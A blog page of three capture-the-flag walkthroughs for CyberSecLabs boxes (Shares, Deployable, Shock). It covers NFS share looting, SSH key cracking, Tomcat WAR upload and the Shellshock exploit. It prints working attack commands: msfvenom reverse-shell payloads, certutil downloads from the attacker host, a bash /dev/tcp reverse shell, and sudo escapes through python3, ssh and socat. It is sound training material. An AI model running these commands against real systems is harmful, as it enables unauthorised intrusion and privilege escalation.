Privesc – OutRunSec

CyberSecLabs – “Shares” Walkthrough

Shares from CyberSecLabs is a interesting beginner box in that there’s very little actual exploitation. No reverse shells, no payloads and we also won’t be using any automated tools for enumeration during privilege escalation. What we will be doing is taking advantage of a open share containing a user’s home directory with everything that entails. We’ll get to root by abusing Sudo permissions two different ways.

Let’s get started.

Shares IP address is 172.31.1.7. Connect to the VPN and ping your target to verify connectivity.

Scanning and Enumeration

As usual I’ll start with a Nmap scan of the target. Here I’m scanning with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

Nmap scan results show a handful of open ports. FTP is open, but we need a password. Port 80 is hosting a web server, and we have RPC on port 111. Next we jump to port 2049 which is hosting a NFS file share. Interesting. Then we have SSH on port 27853 which is also very interesting. After that we have some higher level ports I don’t recognize, and I’ll ignore them for now.

I’ll start by examining the file share that’s being hosted on 2049.

Showmount reveals a mounted home directory for a “amir” user. Now we can mount that directory to our local machine and explore the files on the share. I’ll do that using the mount command, NFS for the type of share, followed by the IP address of the target with the path, and the local path where the share will be mounted on our local machine.

After mounting the share I ls -la to reveal all hidden files and folders. Here we see the contents of the user’s home folder. We even have the .ssh folder which hopefully contains a private key we can utilize.

mount -t nfs 172.31.1.7:/home/amir/ /root/CSL/Shares/Mnt/Shares
ls -la

Change directory into the .ssh folder and we see exactly what we hoped. Private SSH keys! Now if you pay attention to the permissions on the left, we can only read one of those files id_rsa.bak.

Let’s take a peek at id_rsa.bak, and unsurprisingly we see it’s a RSA private key. Next we’ll try and use this key to connect to SSH.

I copy the id_rsa.bak file into my Shares working directory. Chmod to give the file permissions so we can make it useful. Then attempt to connect to the target over SSH as Amir using the private key.

cp /root/CSL/Shares/Mnt/Shares/.ssh/id_rsa.bak .
chmod 700 id_rsa.bak
ssh -i id_rsa.bak amir@172.31.1.7 -p 27853

As you’ll notice above, we are prompted for a password for Amir. Which we don’t have…. yet.

Exploitation

We need a password to SSH to the box as Amir. How do we get it? Since we have the RSA private key, we can utilize a tool included with John the Ripper aptly called “ssh2john”.

Ssh2john will extract the hash from the SSH private key, and what do we do with hashes? That’s right, we crack them.

locate ssh2john
/usr/share/john/ssh2john.py id_rsa.bak

Run ssh2john again, and this time redirect the output to a new file called hash. Then run John the ripper with a specified wordlist against the hash file. I’m using the go-to rockyou.txt wordlist. If you aren’t sure which wordlist to use when doing capture the flag style boxes, I would recommend starting with rockyou.txt.

/usr/share/john/ssh2john.py id_rsa.bak > hash
john –wordlist=/usr/share/wordlists/rockyou.txt hash

It took almost no time to crack the hash. Very simple password which we see in the John the Ripper output.

Same as before. Connect to the target over SSH as Amir. Enter the password when prompted. Now we have access to the target system.

Privilege Escalation

We have access to the target now as a low privileged user named Amir. We already know the target is a Linux system. Like I mentioned we won’t be using any tools to automate the enumeration process for us.

So where do we start? Well the best place to start in my opinion for a Linux system would be checking what Sudo permissions the user has. That’s the low hanging fruit. A lot of the time we can score a quick win if we have Sudo permissions on a file or command.

Above we see that the Amir user has the ability to run two binaries as the user Amy. One being python3 and pkexec.

First thing we do when we find binaries listed under Sudo, is we look them up on GTFO bins. Lookup python3 and you’ll see we have a Sudo option.

sudo python -c 'import os; os.system("/bin/sh")'

This python command will spawn a /bin/sh shell for us. We can tweak it just a bit, by adding /bin/bash and now it will spawn a bash shell. We’re ready to go now, run the command and specify the user as amy.

sudo -u amy /usr/bin/python3 -c ‘import os; os.system(“/bin/bash”)’
whoami
sudo -l

Boom. We have spawned a bash shell and become the Amy user. Rinse and repeat. Let’s check her Sudo permissions. We see above she also has a binary listed, this time /usr/bin/ssh.

Go back to GFTO bins and let’s find another way to exploit this binary. Of course we find a Sudo option listed for this binary.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

There’s the command above, and this will spawn a interactive shell as root. I run the command as is and you’ll notice that we do indeed get a root prompt. However, its the basic sh prompt #. If we tweak this command by also spawning a bash shell, we will get a nice Root@Shares prompt.

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2′ x
whoami
exit
sudo /usr/bin/ssh -o ProxyCommand=’;bash 0<&2 1>&2′ x

Capture the Flags!

cat /home/amy/access.txt
cat /root/system.txt

There you go. Shares from CyberSecLabs. A interesting beginner box, that really enforces some good habits to get into while pentesting or doing capture the flag scenarios. You learn a couple cool tricks on how to work with mounted network shares, and how to reverse a SSH Private key into a hash and then crack it. Lastly we learned to check Sudo permissions first, and always always look them up on GTFO bins for a quick win.

CyberSecLabs – “Deployable” Walkthrough

Deployable from CyberSecLabs is a beginner level box where we’ll explore a default Apache Tomcat installation for initial access. Then use winPEAS to enumerate the box and find the privilege escalation path by exploiting a vulnerable Windows service.

Let’s get started.

Deployable’s IP address is 172.31.1.13.

Scanning and Enumeration

As per usual we start with the following Nmap scan to explore the open ports and services. I’m using -sC to run default scripts, -sV to enumerate service versions, and -p- to scan all TCP ports (1-65535).

Let’s review. We have Microsoft SMB, RDP, and then several uncommon ports running HTTP services. I don’t care about the 49152-49164 ports, on most beginner boxes they aren’t that interesting or useful. The next thing I want to do is run Nitko Web Vulnerability Scanner on the ports hosting HTTP.

You should run the scanner on all HTTP ports to be thorough. In an effort to keep things concise, I’ll only show you the Nikto results from port 8080.

Buried in the Nikto output I see a web page /manager/html and its for Tomcat Manager Application. It also tells us (pass protected) so we will need a password to login to the Manager app. Let’s go to our browser and check out the Apache Tomcat installation.

172.31.1.13:8080 – Apache Tomcat front page.

So here’s the front end of the Apache Tomcat site. There’s several links and things to explore here if you aren’t familiar, but the vital part is the Manager App. If you click on the manager app, you’ll be prompted for a password. I don’t know the password, so I’ll try something like tomcat/admin. As you’ll see below that didn’t work and we get a 401 unauthorized page.

172.31.1.13:8080/manager/html – Login Error

This is where it pays to read all error messages even if they might not seem important at first glance. One of the default passwords for Tomcat is given here. Tomcat for the username and s3cret as the password. Now you could look up a wordlist of Tomcat passwords and in that list you’d find this combination. Another approach would be to use Burpsuite to launch a password attack on the login form. That’s a good exercise but not required for this beginner box.

Login to the Manager App with the credentials. You’ll be taken to the Tomcat Web Application Manager page. Here we see all the Tomcat applications listed.

Inside the Tomcat Web Application Manager

Exploitation

Inside the Tomcat Manager if you scroll past the list of applications we have the Deploy section. We have two options to upload a WAR (Web application resource) file. One from a file located on the server, which we don’t have access to yet, and another to select local file to upload.

If you aren’t aware of haven’t dealt with WAR files, MSFvenom from Metasploit has the ability to create WAR file payloads. You can look up a MSFvenom cheat sheet like this one at HackTricks, and find the correct payload parameters.

The important part is the java/jsp_shell_reverse payload parameter and then specifying the file type as a WAR file. For good measure I added the execute permission with chmod.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f war > shell.war

With the payload generated go back to the Tomcat Manager and upload your WAR file. You’ll see the shell added to the list of applications at the bottom.

/shell uploaded as a deployable WAR file.

Setup a Netcat listener on the same port you specified in your MSFvenom payload and click on the /shell application link in the Tomcat application manger to execute the WAR file reverse shell.

Excellent. We have a shell and we are the tomat user. That’s a great start but we’ll need to escalate our privileges if we want to own this box.

Privilege Escalation

For this box we will be using winPEAS for enumeration and getting a lay of the land. You could check all of these manually of course but winPEAS is a fast and thorough option you should definitely check out. To get started we need to transfer the winPEAS executable to the target machine.

I’ll use the http.server module for python3 on port 80 to host the file on my attacker machine.

My favorite windows transfer tool and one of the easiest for beginners is Certutil. This is a built-in utility that’s present on most Windows operating systems.

certutil -urlcache -split -f http://10.10.0.22/winPEAS.exe winPEAS.exe

Transfer the winPEAS.exe file to the target and run winPEAS. Increase the number of lines in your terminal if you have trouble scrolling through the output, or you can echo the output of winPEAS into a text file for easier reading.

winPEAS generates a lot of output because its very comprehensive in terms of privilege escalation techniques and enumerating the operating system. Scroll down until you find the Services information.

Here we see red text indicating an interesting finding, or something worth exploring as a potential route for privilege escalation. We have a service named Deploy and it has no quotes around the folder path. This is called a unquoted service path.

Let’s look at the service itself and confirm this winPEAS finding by using the built-in windows service utility.

As you can see in the Binary_Path_Name field we confirm the unquoted service path is present for the Deploy service.

To exploit this vulnerability we need to insert our own malicious executable into the Deploy Ready folder. Typically as a low privileged user you won’t be able to write to the Program Files folder.

To create the executable we will once again use msfvenom to generate the payload. This time it will be suited for a Windows operating system and with the file type of a windows executable. Call it Service.exe.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.0.22 LPORT=1234 -f exe > Service.exe

We have our reverse shell payload created and are ready to transfer the file to the target. First we’ll change directory into the C:\Program Files\Deploy Ready\ folder. For the transfer we will use certutil again. I confirm the file is in place with a quick dir command.

cd “C:\Program Files\Deploy Ready”
certutil -urlcache -split -f http://10.10.0.22/Service.exe Service.exe
dir

With the Service.exe payload transferred and our Netcat listener running, we are now ready to start the Deploy service. I’ll do that with the “sc start Deploy” command.

There we go! As the service starts it executes our reverse shell payload and connects back to our Netcat listener. We have escalated our access to the NT authority/system account. OWNED! Now we are ready to…

Capture the Flags!

type C:\Users\tomcat\Desktop\access.txt
type C:\Users\Administrator\Desktop\system.txt

That’s Deployable from CyberSecLabs. I personally enjoyed this beginner box. Like the others at CyberSecLabs the initial exploit and privilege escalation techniques are widely used and cover the basics. Enumerating HTTP ports, gaining access to Tomcat Manager, uploading a reverse shell. Transferring files to the target, exploiting a vulnerable service. All solid techniques even if they feel easy to you. That’s good! Take notes you’ll be using them again for sure.

CyberSecLabs – “Shock” Walkthrough

Shock from CyberSecLabs is a beginner Linux box hosting a Apache web server. We’ll use Nikto to discover a Bash vulnerability that we can use to get a shell. To complete the box we’ll use some basic Linux privesc techniques to escalate to root.

The IP address for Shock is 172.31.1.3.

Scanning and Enumeration

I start out with Nmap scan with -sC for default scripts, -sV for service enumeration, and -p- to scan all 65535 TCP ports.

We have FTP open on 21, SSH on 22, and a web server hosted on port 80.

FTP is a common initial attack vector, but in this case it doesn’t look like we have anonymous access. Usually SSH isn’t very interesting, its mostly used after we’ve already got our initial foothold. Let’s dig into the web server being hosted on port 80. I’ll use the Nikto web vulnerability scanner for this.

Nikto takes a while to complete but that’s because when run with default options it scans for over 7,000 known vulnerabilities.

Buried in the output we find a juicy bit of information. We have a page that is vulnerable to Shellshock! Hey, that makes sense since the box is named Shock.

Exploitation – Metasploit Route

We have a vulnerability now let’s find an exploit. I’ll start with Searchsploit to see what’s available for Shellshock.

There’s several exploits available including Metasploit modules. So fire up msfconsole and let’s do a search. This time I’ll search for the exact CVE number we discovered earlier with Nikto.

I’ll start with the first exploit. This is the second one down in our search results, because the first is an auxiliary module which will not result in a shell.

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 172.31.1.3
set TARGETURI /cgi-bin/test.cgi
run
getuid

We receive a low privileged shell. We’ll need to escalate our privileges to get root on this system. You can skip ahead if you wish but I recommend trying the manual route.

Exploitation – Manual Route

So we’ve got a shell the easy way with Metasploit now let’s try and do it by exploiting Shellshock manually.

Before we get any further let’s understand how Shellshock works. I found this graphic from Symantec helpful.

After some googling I landed on this post which provided a helpful walk through for testing and exploiting Shellshock.

The first part of the article explains how to test for the vulnerability. We’ll use a simple ping command executed after the environmental variable is setup, and the arbitrary command.

I’ll setup a Netcat listener on port 1234 and then use curl to craft the HTTP request.

curl -H ‘User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 10.10.0.41:1234” http://172.31.1.3/cgi-bin/test.cgi

Great we get a response from the web server. This indicates our command was executed successfully. Instead of the ping command let’s insert a bash reverse shell one liner. You can find plenty of reverse shell cheat sheets with this command.

Setup the netcat listener and then run the following command with curl to spawn a bash reverse shell.

curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/1234 0>&1’ http://172.31.1.3/cgi-bin/test.cgi

On our netcat listener we have a reverse shell as the www-data user.

Privilege Escalation

We have our initial low privileged shell. Now let’s see what’s available on this box to escalate our privileges and get root.

Normally, when you aren’t sure where to start on PrivEsc (Privilege escalation) you can always run automated tools to help you. LinPEAS is probably one of the best and most popular tools. But there are many others.

As a rule on any Linux system I get access to, I always check what SUDO permission that current user has. More often than not, if you run Sudo -l and you find a binary listed, that will be your method of escalation.

Here we see the www-data has SUDO permissions to run a binary called socat. I’m not that familiar with socat myself, but I know it has similar functionality to Netcat, in that we can use it to create connections between a port and an IP address. So how do we figure out how to use socat? Google of course!

If you haven’t already bookmarked this site. Please do. GTFOBins. Always, always, always lookup a binary you have permissions to on GTFO Bins.

There we find a way to abuse limited SUID privileges and create a reverse shell connection. Just modify the IP Address and port and run the command with sudo.

sudo socat tcp-connect:10.10.0.41:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane

On our netcat listener we see the reverse shell connected.

Now we have a shell as the root user. All that’s left is to capture the flags.

Capture the Flags!

cat /home/scott/access.txt
cat /root/system.txt

There you have it. Two methods for exploiting Shock from CyberSecLabs. I found the manual method to be a great way to learn how the bash vulnerability works and how to test for it. Privilege escalation wasn’t difficult but reinforced the basics you’ll need for any capture the flag type scenario.